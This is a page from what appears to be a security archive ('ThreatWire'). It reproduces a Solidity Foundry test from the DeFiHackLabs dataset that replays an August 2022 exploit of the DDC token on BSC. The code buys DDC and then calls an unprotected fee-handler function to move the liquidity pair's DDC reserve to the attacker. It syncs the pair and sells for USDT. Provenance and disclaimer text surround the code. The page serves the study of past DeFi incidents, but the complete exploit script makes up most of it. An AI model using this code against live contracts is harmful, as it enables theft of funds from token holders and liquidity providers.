Public reproduction file
src/test/2022-08/DDC_exp.sol
Public reproduction file for dataset entry DDC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4//import "./../interface.sol";6interface CheatCodes {7 function createSelectFork(string calldata, uint256) external returns (uint256);8}10interface IERC20 {11 function balanceOf(12 address owner13 ) external view returns (uint256);14 function approve(address spender, uint256 value) external returns (bool);15 function transfer(address to, uint256 value) external returns (bool);16}18interface ITokenAFeeHandler is IERC20 {19 function handleDeductFee(uint8 actionType, uint256 feeAmount, address from, address user) external;20}22interface IRouter {23 function swapExactTokensForTokens(24 uint256 amountIn,25 uint256 amountOutMin,26 address[] calldata path,27 address to,28 uint256 deadline29 ) external;30 function swapExactTokensForTokensSupportingFeeOnTransferTokens(31 uint256 amountIn,32 uint256 amountOutMin,33 address[] calldata path,34 address to,35 uint256 deadline36 ) external;37}39interface IPair {40 function sync() external;41}43contract ContractTest is Test {44 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);45 IRouter TargetRouter = IRouter(0x22Dc25866BB53c52BAfA6cB80570FC83FC7dd125);46 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);47 ITokenAFeeHandler DDC = ITokenAFeeHandler(0x443195AA3a4357242a7427Fc8ce5f20c1E71fcB1);48 IPair TargetPair = IPair(0x4EFdcabA42cC31cF5198ec99BDC025aff1e32Bb0);49 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);51 function setUp() public {52 cheats.createSelectFork("bsc", 20_840_079);53 }55 function testExploit() external {56 emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);58 address(WBNB).call{value: 0.1 ether}("");59 BuyDDC();60 uint256 pairReserve = DDC.balanceOf(address(TargetPair));61 uint256 amount = pairReserve - 1;62 DDC.handleDeductFee(0, amount, address(TargetPair), address(this));63 TargetPair.sync();64 SellDDC();66 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);67 }69 function BuyDDC() public {70 WBNB.approve(address(TargetRouter), ~uint256(0));71 address[] memory path = new address[](3);72 path[0] = address(WBNB);73 path[1] = address(USDT);74 path[2] = address(DDC);75 TargetRouter.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);76 DDC.approve(address(TargetRouter), ~uint256(0));77 }79 function SellDDC() public {80 address[] memory path = new address[](2);81 path[0] = address(DDC);82 path[1] = address(USDT);83 TargetRouter.swapExactTokensForTokens(DDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);84 }85}Analysis
Dataset entry
Public Foundry test for “DDC” (2022-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
- src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
- src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
- src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
- src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
- src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
- src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
- src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
- src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
- src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines
File record
- Name
- DDC
- Path
- src/test/2022-08/DDC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cc43155cc4bfc43c0fb7ed681cc3b9321b5be965
- Language
- Solidity
- Size
- 86 lines
- Date
- 2022-08-28
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-08/DDC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cc43155cc4bfc43c0fb7ed681cc3b9321b5be965, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.